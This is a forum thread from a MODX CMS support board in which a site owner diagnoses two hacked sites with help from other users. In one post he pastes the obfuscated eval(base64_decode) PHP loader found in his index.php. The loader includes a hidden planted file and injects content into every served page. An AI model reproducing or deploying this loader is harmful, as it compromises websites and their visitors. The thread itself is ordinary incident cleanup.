Hacked site, help needed urgently!

154 Posts

SimonMW Reply #1, 17 years, 5 months ago

Two of my sites have been hacked and I don’t know how to solve the problem. Luckily all that is being output is a MODX parse error so they haven’t been able to do any damage, whatever it is that they tried to do. But I’m not sure how on earth they got in in the first place!

http://www.kangarookid.com if you look at the source code they have injected a load of rubbish at the end of the page underneath the footer. And at http://www.coolactiv.com a similar thing has happened, but they have tried a script of some kind.

I’m not sure how to get rid of it as it seems they are somehow injecting it from somewhere else!

154 Posts

SimonMW Reply #2, 17 years, 5 months ago

It looks as though this might be the culprit code somehow added at the top of my index.php file! What do you guys make of it?

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9maXZlZXAvcHVibGljX2h0bWwvc2ltb253eW5kaGFtL2Fzc2V0cy9wbHVnaW5zL3RpbnltY2UzMjAxL2pzY3JpcHRzL3RpbnlfbWNlL3RoZW1lcy9zaW1wbGUvc2tpbnMvbzJrNy9pbWcvc3R5bGUuY3NzLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL2ZpdmVlcC9wdWJsaWNfaHRtbC9zaW1vbnd5bmRoYW0vYXNzZXRzL3BsdWdpbnMvdGlueW1jZTMyMDEvanNjcmlwdHMvdGlueV9tY2UvdGhlbWVzL3NpbXBsZS9za2lucy9vMms3L2ltZy9zdHlsZS5jc3MucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

154 Posts

SimonMW Reply #3, 17 years, 5 months ago

Hmm. Even though I removed the php code from the top of the index.php and index-ajax.php files the injected script at the end of the pages is still appearing!

386 Posts

therebechips Reply #4, 17 years, 5 months ago

Bad luck.

It looks like you still have this in your sites:
/assets/snippets/reflect/snippet.reflect.php

There was a security vulnerability discovered in Nov 2008 where an attacker can exploit this script if you have register_globals=on
http://modxcms.com/forums/index.php/topic,30875.msg187190.html#msg187190

Security notices appear in the Manager dashboard on recent modx versions, but you can also subscribe to receive alerts by email:
http://feedburner.google.com/fb/a/mailverify?uri=modxsecurity

Snippets: GoogleMap | FileDetails | Related Plugin: SSL

154 Posts

SimonMW Reply #5, 17 years, 5 months ago

Thing is, I’ve got register globals set to off on all my sites.

I’m currently reinstalling the sites, hopefully that will sort it out. Luckily ModX itself seems to have protected all the spam from appearing by giving me a parse error on the site itself when viewed.

386 Posts

therebechips Reply #6, 17 years, 5 months ago

Unfortunately unless you discover how the hackers got in they might do it again sad

Could you let us know what version of modx you’re running? Are you on shared hosting?

Snippets: GoogleMap | FileDetails | Related Plugin: SSL

154 Posts

SimonMW Reply #7, 17 years, 5 months ago

I’m on shared hosting. I was on 9.6.1.p2 and was literally about to upgrade it all to 9.6.3. I’ve been so busy recently I hadn’t had a chance until now. At the moment I am reinstalling both sites. The hackers didn’t manage to touch anything inside the Manager folder so my SQL passwords should be safe. But I am changing all the login details anyway to be on the safe side.

Yes, I am on shared hosting on Host Gator.

154 Posts

SimonMW Reply #8, 17 years, 5 months ago

Thanks ganeshXL

I am no programmer, what does this script attempt to do? With the caveat that I do not know what I am talking about, it looks to me as if they have got in through TinyMCE looking at that though.

Also, aside from the PHP files would there be any way they could have added anything funny to the headers of any of my image files? Or would I need to upload all of them again as well?

386 Posts

therebechips Reply #9, 17 years, 5 months ago

A quick Google for...

if(function_exists(’ob_start’)&&!isset($GLOBALS[’sh_no’])

...brings up some interesting results, eg:

http://www.simplemachines.org/community/index.php?topic=291486.msg2048760#msg2048760

The main hack file in your case was style.css.php which the hacker managed to load into /home/fiveep/public_html/simonwyndham/assets/plugins/tinymce3201/jscripts/tiny_mce/themes/simple/skins/o2k7/img/. Is this directory set to 777 ?

Snippets: GoogleMap | FileDetails | Related Plugin: SSL

154 Posts

SimonMW Reply #10, 17 years, 5 months ago

I’m not sure what that directory was set to as I deleted it as part of my reinstallation of the other sites. However I have looked at my other ModX installations after putting the affected sites to 9.6.3 and that directory is set to 755.